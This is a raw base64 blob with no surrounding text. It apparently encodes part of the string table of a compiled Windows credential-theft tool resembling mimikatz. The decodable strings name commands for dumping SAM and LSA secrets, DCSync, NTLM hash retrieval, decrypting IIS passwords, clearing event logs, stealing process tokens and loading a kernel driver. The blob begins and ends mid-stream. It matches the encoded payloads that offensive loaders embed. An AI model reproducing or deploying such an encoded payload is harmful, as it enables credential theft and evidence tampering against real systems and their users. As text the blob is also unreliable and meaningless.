UAbQBwACAAawBlAHkAcwBlAHQAIAAlAHMACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGMAcgB5AHAAdABvAF8ARABlAHIAQQBuAGQASwBlAHkAVABvAFAAZgB4ACAAOwAgAEMAcgB5AHAAdABBAGMAcQB1AGkAcgBlAEMAbwBuAHQAZQB4AHQAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAEQAZQByAEEAbgBkAEsAZQB5AFQAbwBQAGYAeAAgADsAIABDAGUAcgB0AEEAZABkAEUAbgBjAG8AZABlAGQAQwBlAHIAdABpAGYAaQBjAGEAdABlAFQAbwBTAHQAbwByAGUAIAAoADAAeAAlADAAOAB4ACkACgAAACUAcwBfACUAcwBfACUAdQBfACUAcwAuACUAcwAAAAAATgBUAEwATQA6ACAAAAAAAEQAQwBDADEAOgAgAAAAAABEAEMAQwAyADoAIAAAAAAATABNACAAIAA6ACAAAAAAAE0ARAA1ACAAOgAgAAAAAABTAEgAQQAxADoAIAAAAAAAUwBIAEEAMgA6ACAAAAAAAFsAJQAwADQAeAAvACUAeABdACAAJQBzAAoAAAAgACAAAAAAAFAAcgBvAHYAaQBkAGUAcgAgAGkAbgBmAG8AOgAKAAAACQBLAGUAeQAgAEMAbwBuAHQAYQBpAG4AZQByACAAIAA6ACAAJQBzAAoAAAAJAFAAcgBvAHYAaQBkAGUAcgAgACAAIAAgACAAIAAgADoAIAAlAHMACgAAAAkAUAByAG8AdgBpAGQAZQByACAAdAB5AHAAZQAgACAAOgAgACUAcwAgACgAJQB1ACkACgAAAAAACQBGAGwAYQBnAHMAIAAgACAAIAAgACAAIAAgACAAIAA6ACAAJQAwADgAeAAKAAAACQBQAGEAcgBhAG0AIAAoAHQAbwBkAG8AKQAgACAAIAA6ACAAJQAwADgAeAAgAC8AIAAlADAAOAB4AAoAAAAAAAoAKgAgAEYAaQBsAGUAOgAgACcAJQBzACcACgAAAAAAZgBpAGwAZQAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHMAeQBzAHQAZQBtACAAOwAgAEkAbgBwAHUAdAAgAE0AaQBjAHIAbwBzAG8AZgB0ACAAQwByAHkAcAB0AG8AIABDAGUAcgB0AGkAZgBpAGMAYQB0AGUAIABmAGkAbABlACAAbgBlAGUAZABlAGQAIAAoAC8AZgBpAGwAZQA6AGYAaQBsAGUAbgBhAG0AZQB8AGQAaQByAGUAYwB0AG8AcgB5ACkACgAAAGMAcgBsAAAAYwB0AGwAAABrAGUAeQBpAGQAAABEAGEAdABhADoAIAAAAAAAJQBzAC4AJQBzAAAAUwBhAHYAZQBkACAAdABvACAAZgBpAGwAZQA6ACAAJQBzAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBmAGkAbABlAF8AcgBhAHcARABhAHQAYQAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwB3AHIAaQB0AGUARABhAHQAYQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAByAHMAYQBlAG4AaAAuAGQAbABsAAAAAABMAG8AYwBhAGwAIABDAHIAeQBwAHQAbwBBAFAASQAgAHAAYQB0AGMAaABlAGQACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBhAHAAaQAgADsAIABrAHUAbABsAF8AbQBfAHAAYQB0AGMAaAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBjAHIAeQBwAHQAbwBfAHAAXwBjAGEAcABpACAAOwAgAGsAdQBsAGwAXwBtAF8AcAByAG8AYwBlAHMAcwBfAGcAZQB0AFYAZQByAHkAQgBhAHMAaQBjAE0AbwBkAHUAbABlAEkAbgBmAG8AcgBtAGEAdABpAG8AbgBzAEYAbwByAE4AYQBtAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAG4AYwByAHkAcAB0AC4AZABsAGwAAAAAAG4AYwByAHkAcAB0AHAAcgBvAHYALgBkAGwAbAAAAAAASwBlAHkASQBzAG8AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AYwByAHkAcAB0AG8AXwBwAF8AYwBuAGcAIAA7ACAATgBvACAAQwBOAEcACgAAAGQAcgBvAHAAAAAAAAAAAABbAGUAeABwAGUAcgBpAG0AZQBuAHQAYQBsAF0AIABwAGEAdABjAGgAIABFAHYAZQBuAHQAcwAgAHMAZQByAHYAaQBjAGUAIAB0AG8AIABhAHYAbwBpAGQAIABuAGUAdwAgAGUAdgBlAG4AdABzAAAAYwBsAGUAYQByAAAAQwBsAGUAYQByACAAYQBuACAAZQB2AGUAbgB0ACAAbABvAGcAAAAAAGUAdgBlAG4AdAAAAEUAdgBlAG4AdAAgAG0AbwBkAHUAbABlAAAAAABlAHYAZQBuAHQAbABvAGcALgBkAGwAbAAAAAAAdwBlAHYAdABzAHYAYwAuAGQAbABsAAAARQB2AGUAbgB0AEwAbwBnAAAAAABTAGUAYwB1AHIAaQB0AHkAAAAAAGwAbwBnAAAAVQBzAGkAbgBnACAAIgAlAHMAIgAgAGUAdgBlAG4AdAAgAGwAbwBnACAAOgAKAAAALQAgACUAdQAgAGUAdgBlAG4AdAAoAHMAKQAKAAAAAAAtACAAQwBsAGUAYQByAGUAZAAgACEACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AZQB2AGUAbgB0AF8AYwBsAGUAYQByACAAOwAgAEMAbABlAGEAcgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBlAHYAZQBuAHQAXwBjAGwAZQBhAHIAIAA7ACAATwBwAGUAbgBFAHYAZQBuAHQATABvAGcAIAAoADAAeAAlADAAOAB4ACkACgAAAGEAcABwAGgAbwBzAHQAAABpAGkAcwAAAEkASQBTACAAWABNAEwAIABDAG8AbgBmAGkAZwAgAG0AbwBkAHUAbABlAAAALwAvAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ALwBzAHkAcwB0AGUAbQAuAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC8AYQBwAHAAbABpAGMAYQB0AGkAbwBuAFAAbwBvAGwAcwAvAGEAZABkAAAALwAvAGMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4ALwBzAHkAcwB0AGUAbQAuAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC8AcwBpAHQAZQBzAC8AcwBpAHQAZQAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdAAgADsAIABNAGkAcwBzAGkAbgBnACAALwBpAG4AOgBmAGkAbABlAG4AYQBtAGUAIAAoAGEAcABwAGwAaQBjAGEAdABpAG8AbgBIAG8AcwB0AC4AYwBvAG4AZgBpAGcAKQAKAAAACgAqACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuAFAAbwBvAGwAOgAgACcAJQBzACcACgAAAHAAcgBvAGMAZQBzAHMATQBvAGQAZQBsAAAAAAB1AHMAZQByAE4AYQBtAGUAAAAAACAAIABVAHMAZQByAG4AYQBtAGUAOgAgACUAcwAKAAAAIAAgAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzAAoAAAAKACoAIABTAGkAdABlADoAIAAnACUAcwAnAAoAAAAAAGEAcABwAGwAaQBjAGEAdABpAG8AbgAAAHAAYQB0AGgAAAAAACAAIAA+ACAAQQBwAHAAbABpAGMAYQB0AGkAbwBuACAAUABhAHQAaAA6ACAAJQBzAAoAAAB2AGkAcgB0AHUAYQBsAEQAaQByAGUAYwB0AG8AcgB5AAAAAAAAAAAAIAAgACAAIAAtACAAVgBpAHIAdAB1AGEAbABEAGkAcgBlAGMAdABvAHIAeQAgAFAAYQB0AGgAOgAgACUAcwAgACgAIAAAAAAAcABoAHkAcwBpAGMAYQBsAFAAYQB0AGgAAAAAACAAKQAKAAAAIAAgACAAIAAgACAAVQBzAGUAcgBuAGEAbQBlADoAIAAlAHMACgAAACAAIAAgACAAIAAgAFAAYQBzAHMAdwBvAHIAZAA6ACAAJQBzAAoAAABbAGUAbgBjADoAAAA6AGUAbgBjAF0AAAAAAAAAIAAgAHwAIABQAHIAbwB2AGkAZABlAHIAIAAgADoAIAAlAHMACgAgACAAfAAgAEQAYQB0AGEAIAAgACAAIAAgACAAOgAgACUAcwAKAAAAAAAvAC8AYwBvAG4AZgBpAGcAdQByAGEAdABpAG8AbgAvAGMAbwBuAGYAaQBnAFAAcgBvAHQAZQBjAHQAZQBkAEQAYQB0AGEALwBwAHIAbwB2AGkAZABlAHIAcwAvAGEAZABkAAAAdAB5AHAAZQAAAAAATQBpAGMAcgBvAHMAbwBmAHQALgBBAHAAcABsAGkAYwBhAHQAaQBvAG4ASABvAHMAdAAuAEEAZQBzAFAAcgBvAHQAZQBjAHQAZQBkAEMAbwBuAGYAaQBnAHUAcgBhAHQAaQBvAG4AUAByAG8AdgBpAGQAZQByAAAAawBlAHkAQwBvAG4AdABhAGkAbgBlAHIATgBhAG0AZQAAAAAAIAAgAHwAIABLAGUAeQBOAGEAbQBlACAAIAAgADoAIAAlAHMACgAAAHMAZQBzAHMAaQBvAG4ASwBlAHkAAAAAAHUAcwBlAE0AYQBjAGgAaQBuAGUAQwBvAG4AdABhAGkAbgBlAHIAAAB0AHIAdQBlAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgAgADsAIAB0AHkAcABlACAAaQBzACAAbgBvAHQAIABzAHUAcABwAG8AcgB0AGUAZAAgACgAJQBzACkACgAAAGwAaQB2AGUAAAAAACAAIAB8ACAATABpAHYAZQAgAEsAZQB5ACAAIAA6ACAAJQBzACAALQAgACUAcwAgADoAIAAAAAAAIAAgAHwAIABQAFYASwAgAGYAaQBsAGUAIAAgADoAIAAlAHMAIAAtACAAJwAlAHMAJwAgADoAIAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABJAG0AcABvAHIAdABLAGUAeQAgACgAUgBTAEEAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAgACAAfAAgAFAAYQBzAHMAdwBvAHIAZAAgACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBpAGkAcwBfAGEAcABwAGgAbwBzAHQAXwBwAHIAbwB2AGkAZABlAHIAXwBkAGUAYwByAHkAcAB0ACAAOwAgAEMAcgB5AHAAdABEAGUAYwByAHkAcAB0ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AaQBpAHMAXwBhAHAAcABoAG8AcwB0AF8AcAByAG8AdgBpAGQAZQByAF8AZABlAGMAcgB5AHAAdAAgADsAIABDAHIAeQBwAHQASQBtAHAAbwByAHQASwBlAHkAIAAoAHMAZQBzAHMAaQBvAG4AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGkAaQBzAF8AYQBwAHAAaABvAHMAdABfAHAAcgBvAHYAaQBkAGUAcgBfAGQAZQBjAHIAeQBwAHQAIAA7ACAAQwByAHkAcAB0AEEAYwBxAHUAaQByAGUAQwBvAG4AdABlAHgAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAAKwAAAEkAbgBzAHQAYQBsAGwAIABhAG4AZAAvAG8AcgAgAHMAdABhAHIAdAAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAAAAAC0AAAAAAAAAUgBlAG0AbwB2AGUAIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgACgAbQBpAG0AaQBkAHIAdgApAAAAAABwAGkAbgBnAAAAAABQAGkAbgBnACAAdABoAGUAIABkAHIAaQB2AGUAcgAAAGIAcwBvAGQAAAAAAEIAUwBPAEQAIAAhAAAAAABwAHIAbwBjAGUAcwBzAAAATABpAHMAdAAgAHAAcgBvAGMAZQBzAHMAAAAAAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAAAAAAUAByAG8AdABlAGMAdAAgAHAAcgBvAGMAZQBzAHMAAABwAHIAbwBjAGUAcwBzAFQAbwBrAGUAbgAAAAAARAB1AHAAbABpAGMAYQB0AGUAIABwAHIAbwBjAGUAcwBzACAAdABvAGsAZQBuAAAAcAByAG8AYwBlAHMAcwBQAHIAaQB2AGkAbABlAGcAZQAAAAAAUwBlAHQAIABhAGwAbAAgAHAAcgBpAHYAaQBsAGUAZwBlACAAbwBuACAAcAByAG8AYwBlAHMAcwAAAAAAbQBvAGQAdQBsAGUAcwAAAEwAaQBzAHQAIABtAG8AZAB1AGwAZQBzAAAAAABzAHMAZAB0AAAAAABMAGkAcwB0ACAAUwBTAEQAVAAAAG4AbwB0AGkAZgBQAHIAbwBjAGUAcwBzAAAAAABMAGkAcwB0ACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAABuAG8AdABpAGYAVABoAHIAZQBhAGQAAABMAGkAcwB0ACAAdABoAHIAZQBhAGQAIABuAG8AdABpAGYAeQAgAGMAYQBsAGwAYgBhAGMAawBzAAAAAABuAG8AdABpAGYASQBtAGEAZwBlAAAAAABMAGkAcwB0ACAAaQBtAGEAZwBlACAAbgBvAHQAaQBmAHkAIABjAGEAbABsAGIAYQBjAGsAcwAAAG4AbwB0AGkAZgBSAGUAZwAAAAAATABpAHMAdAAgAHIAZQBnAGkAcwB0AHIAeQAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAG4AbwB0AGkAZgBPAGIAagBlAGMAdAAAAEwAaQBzAHQAIABvAGIAagBlAGMAdAAgAG4AbwB0AGkAZgB5ACAAYwBhAGwAbABiAGEAYwBrAHMAAAAAAGYAaQBsAHQAZQByAHMAAABMAGkAcwB0ACAARgBTACAAZgBpAGwAdABlAHIAcwAAAG0AaQBuAGkAZgBpAGwAdABlAHIAcwAAAEwAaQBzAHQAIABtAGkAbgBpAGYAaQBsAHQAZQByAHMAAAAAAHMAeQBzAGUAbgB2AHMAZQB0AAAAAAAAAFMAeQBzAHQAZQBtACAARQBuAHYAaQByAG8AbgBtAGUAbgB0ACAAVgBhAHIAaQBhAGIAbABlACAAUwBlAHQAAABzAHkAcwBlAG4AdgBkAGUAbAAAAAAAAABTAHkAcwB0AGUAbQAgAEUAbgB2AGkAcgBvAG4AbQBlAG4AdAAgAFYAYQByAGkAYQBiAGwAZQAgAEQAZQBsAGUAdABlAAAAAABtAGkAbQBpAGQAcgB2AC4AcwB5AHMAAABtAGkAbQBpAGQAcgB2AAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAGEAbAByAGUAYQBkAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAABbACoAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAbgBvAHQAIABwAHIAZQBzAGUAbgB0AAoAAAAAAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAKABtAGkAbQBpAGQAcgB2ACkAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAcwB1AGMAYwBlAHMAcwBmAHUAbABsAHkAIAByAGUAZwBpAHMAdABlAHIAZQBkAAoAAAAAAAAAAABbACsAXQAgAG0AaQBtAGkAawBhAHQAegAgAGQAcgBpAHYAZQByACAAQQBDAEwAIAB0AG8AIABlAHYAZQByAHkAbwBuAGUACgAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBhAGQAZABfAG0AaQBtAGkAZAByAHYAIAA7ACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAFcAbwByAGwAZABUAG8ATQBpAG0AaQBrAGEAdAB6ACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAEMAcgBlAGEAdABlAFMAZQByAHYAaQBjAGUAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AZgBpAGwAZQBfAGkAcwBGAGkAbABlAEUAeABpAHMAdAAgACgAMAB4ACUAMAA4AHgAKQAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAGYAaQBsAGUAXwBnAGUAdABBAGIAcwBvAGwAdQB0AGUAUABhAHQAaABPAGYAIAAoADAAeAAlADAAOAB4ACkACgAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AYQBkAGQAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAE8AcABlAG4AUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABhAHIAdABlAGQACgAAAAAAAAAAAFsAKgBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIABhAGwAcgBlAGEAZAB5ACAAcwB0AGEAcgB0AGUAZAAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABTAHQAYQByAHQAUwBlAHIAdgBpAGMAZQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAGEAZABkAF8AbQBpAG0AaQBkAHIAdgAgADsAIABPAHAAZQBuAFMAQwBNAGEAbgBhAGcAZQByACgAYwByAGUAYQB0AGUAKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAWwArAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAHMAdABvAHAAcABlAGQACgAAAAAAWwAqAF0AIABtAGkAbQBpAGsAYQB0AHoAIABkAHIAaQB2AGUAcgAgAG4AbwB0ACAAcgB1AG4AbgBpAG4AZwAKAAAAAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHIAZQBtAG8AdgBlAF8AbQBpAG0AaQBkAHIAdgAgADsAIABrAHUAbABsAF8AbQBfAHMAZQByAHYAaQBjAGUAXwBzAHQAbwBwACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAFsAKwBdACAAbQBpAG0AaQBrAGEAdAB6ACAAZAByAGkAdgBlAHIAIAByAGUAbQBvAHYAZQBkAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcgBlAG0AbwB2AGUAXwBtAGkAbQBpAGQAcgB2ACAAOwAgAGsAdQBsAGwAXwBtAF8AcwBlAHIAdgBpAGMAZQBfAHIAZQBtAG8AdgBlACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAHIAZQBtAG8AdgBlAAAAAABQAHIAbwBjAGUAcwBzACAAOgAgACUAcwAKAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBrAGUAcgBuAGUAbABfAHAAcgBvAGMAZQBzAHMAUAByAG8AdABlAGMAdAAgADsAIABrAHUAbABsAF8AbQBfAHAAcgBvAGMAZQBzAHMAXwBnAGUAdABQAHIAbwBjAGUAcwBzAEkAZABGAG8AcgBOAGEAbQBlACAAKAAwAHgAJQAwADgAeAApAAoAAABwAGkAZAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAEEAcgBnAHUAbQBlAG4AdAAgAC8AcAByAG8AYwBlAHMAcwA6AHAAcgBvAGcAcgBhAG0ALgBlAHgAZQAgAG8AcgAgAC8AcABpAGQAOgBwAHIAbwBjAGUAcwBzAGkAZAAgAG4AZQBlAGQAZQBkAAoAAAAAAAAAAABQAEkARAAgACUAdQAgAC0APgAgACUAMAAyAHgALwAlADAAMgB4ACAAWwAlADEAeAAtACUAMQB4AC0AJQAxAHgAXQAKAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAE4AbwAgAFAASQBEAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcAByAG8AYwBlAHMAcwBQAHIAbwB0AGUAYwB0ACAAOwAgAFAAcgBvAHQAZQBjAHQAZQBkACAAcAByAG8AYwBlAHMAcwAgAG4AbwB0ACAAYQB2AGEAaQBsAGEAYgBsAGUAIABiAGUAZgBvAHIAZQAgAFcAaQBuAGQAbwB3AHMAIABWAGkAcwB0AGEACgAAAAAAZgByAG8AbQAAAAAAdABvAAAAAAAAAAAAVABvAGsAZQBuACAAZgByAG8AbQAgAHAAcgBvAGMAZQBzAHMAIAAlAHUAIAB0AG8AIABwAHIAbwBjAGUAcwBzACAAJQB1AAoAAAAAAAAAAAAgACoAIABmAHIAbwBtACAAMAAgAHcAaQBsAGwAIAB0AGEAawBlACAAUwBZAFMAVABFAE0AIAB0AG8AawBlAG4ACgAAAAAAAAAgACoAIAB0AG8AIAAwACAAdwBpAGwAbAAgAHQAYQBrAGUAIABhAGwAbAAgACcAYwBtAGQAJwAgAGEAbgBkACAAJwBtAGkAbQBpAGsAYQB0AHoAJwAgAHAAcgBvAGMAZQBzAHMACgAAAEsAZQByAG4AZQBsAF8ATABzAGEAXwBQAHAAbABfAEMAbwBuAGYAaQBnAAAAAAAAAHsANwA3AGYAYQA5AGEAYgBkAC0AMAAzADUAOQAtADQAZAAzADIALQBiAGQANgAwAC0AMgA4AGYANABlADcAOABmADcAOAA0AGIAfQAAAAAAZwB1AGkAZAAAAAAAMQAAAGEAdAB0AHIAaQBiAHUAdABlAHMAAAAAADAAMAAwADAAMAAwADAAMAAAAAAATgBhAG0AZQAgACAAIAAgACAAIAAgADoAIAAlAHcAWgAKAFYAZQBuAGQAbwByACAARwBVAEkARAA6ACAAAAAAAAoAQQB0AHQAcgBpAGIAdQB0AGUAcwAgADoAIAAlADAAOAB4ACAAKAAAAAAATABlAG4AZwB0AGgAIAAgACAAIAAgADoAIAAlAHUACgBEAGEAdABhACAAIAAgACAAIAAgACAAOgAgAAAAPgAgAE8ASwAhAAoAAAAAAAAAAABFAFIAUgBPAFIAIABrAHUAaABsAF8AbQBfAGsAZQByAG4AZQBsAF8AcwB5AHMAZQBuAHYAXwBzAGUAdAAgADsAIABSAHQAbABHAFUASQBEAEYAcgBvAG0AUwB0AHIAaQBuAGcAOgAgADAAeAAlADAAOAB4AAoAAAApAAoACgAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AawBlAHIAbgBlAGwAXwBzAHkAcwBlAG4AdgBfAGQAZQBsACAAOwAgAFIAdABsAEcAVQBJAEQARgByAG8AbQBTAHQAcgBpAG4AZwA6ACAAMAB4ACUAMAA4AHgACgAAAHMAYQBtAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMAQQBNACAAZQBuAHQAcgBpAGUAcwAgACgAZgByAG8AbQAgAHIAZQBnAGkAcwB0AHIAeQAgAG8AcgAgAGgAaQB2AGUAcwApAAAAAABzAGUAYwByAGUAdABzAAAARwBlAHQAIAB0AGgAZQAgAFMAeQBzAEsAZQB5ACAAdABvACAAZABlAGMAcgB5AHAAdAAgAFMARQBDAFIARQBUAFMAIABlAG4AdAByAGkAZQBzACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAAAAAEcAZQB0ACAAdABoAGUAIABTAHkAcwBLAGUAeQAgAHQAbwAgAGQAZQBjAHIAeQBwAHQAIABOAEwAJABLAE0AIAB0AGgAZQBuACAATQBTAEMAYQBjAGgAZQAoAHYAMgApACAAKABmAHIAbwBtACAAcgBlAGcAaQBzAHQAcgB5ACAAbwByACAAaABpAHYAZQBzACkAAABsAHMAYQAAAAAAAABBAHMAawAgAEwAUwBBACAAUwBlAHIAdgBlAHIAIAB0AG8AIAByAGUAdAByAGkAZQB2AGUAIABTAEEATQAvAEEARAAgAGUAbgB0AHIAaQBlAHMAIAAoAG4AbwByAG0AYQBsACwAIABwAGEAdABjAGgAIABvAG4AIAB0AGgAZQAgAGYAbAB5ACAAbwByACAAaQBuAGoAZQBjAHQAKQAAAAAAdAByAHUAcwB0AAAAAAAAAEEAcwBrACAATABTAEEAIABTAGUAcgB2AGUAcgAgAHQAbwAgAHIAZQB0AHIAaQBlAHYAZQAgAFQAcgB1AHMAdAAgAEEAdQB0AGgAIABJAG4AZgBvAHIAbQBhAHQAaQBvAG4AIAAoAG4AbwByAG0AYQBsACAAbwByACAAcABhAHQAYwBoACAAbwBuACAAdABoAGUAIABmAGwAeQApAAAAAABiAGEAYwBrAHUAcABrAGUAeQBzAAAAAAByAHAAZABhAHQAYQAAAAAAZABjAHMAeQBuAGMAAAAAAEEAcwBrACAAYQAgAEQAQwAgAHQAbwAgAHMAeQBuAGMAaAByAG8AbgBpAHoAZQAgAGEAbgAgAG8AYgBqAGUAYwB0AAAAbgBlAHQAcwB5AG4AYwAAAAAAAABBAHMAawAgAGEAIABEAEMAIAB0AG8AIABzAGUAbgBkACAAYwB1AHIAcgBlAG4AdAAgAGEAbgBkACAAcAByAGUAdgBpAG8AdQBzACAATgBUAEwATQAgAGgAYQBzAGgAIABvAGYAIABEAEMALwBTAFIAVgAvAFcASwBTAAAAbABzAGEAZAB1AG0AcAAAAEwAcwBhAEQAdQBtAHAAIABtAG8AZAB1AGwAZQAAAAAAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAQQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAYQBtACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQApACAAKAAwAHgAJQAwADgAeAApAAoAAABTAFkAUwBUAEUATQAAAAAAUwBBAE0AAAAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBhAG0AIAA7ACAAawB1AGwAbABfAG0AXwByAGUAZwBpAHMAdAByAHkAXwBSAGUAZwBPAHAAZQBuAEsAZQB5AEUAeAAgACgAUwBBAE0AKQAgACgAMAB4ACUAMAA4AHgAKQAKAAAAPgAgAFUAcwBlAHIAIABjAGEAYwBoAGUAIAByAGUAcABsAGEAYwBlACAAbQBvAGQAZQAgACEACgAAAAAAIAAgACoAIAB1AHMAZQByACAAIAAgACAAIAA6ACAAJQBzAAoAAAAAAG4AdABsAG0AAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABuAHQAbABtACAAaABhAHMAaAAgAGwAZQBuAGcAdABoACAAbQB1AHMAdAAgAGIAZQAgADMAMgAgACgAMQA2ACAAYgB5AHQAZQBzACkAIAAtACAAdwBpAGwAbAAgAHUAcwBlACAAZABlAGYAYQB1AGwAdAAgAHAAYQBzAHMAdwBvAHIAZAAuAC4ALgAKAAAAAAAgACAAKgAgAHAAYQBzAHMAdwBvAHIAZAAgADoAIAAlAHMACgAAAAAAIAAgACoAIABuAHQAbABtACAAIAAgACAAIAA6ACAAAABzAGUAYwB1AHIAaQB0AHkAAAAAAEUAUgBSAE8AUgAgAGsAdQBoAGwAXwBtAF8AbABzAGEAZAB1AG0AcABfAHMAZQBjAHIAZQB0AHMATwByAEMAYQBjAGgAZQAgADsAIABDAHIAZQBhAHQAZQBGAGkAbABlACAAKABTAEUAQwBVAFIASQBUAFkAIABoAGkAdgBlACkAIAAoADAAeAAlADAAOAB4ACkACgAAAAAARQBSAFIATwBSACAAawB1AGgAbABfAG0AXwBsAHMAYQBkAHUAbQBwAF8AcwBlAGMAcgBlAHQAcwBPAHIAQwBhAGMAaABlACAAOwAgAEMAcgBlAGEAdABlAEYAaQBsAGUAIAAoAFMAWQBTAFQARQBNACAAaABpAHYAZQA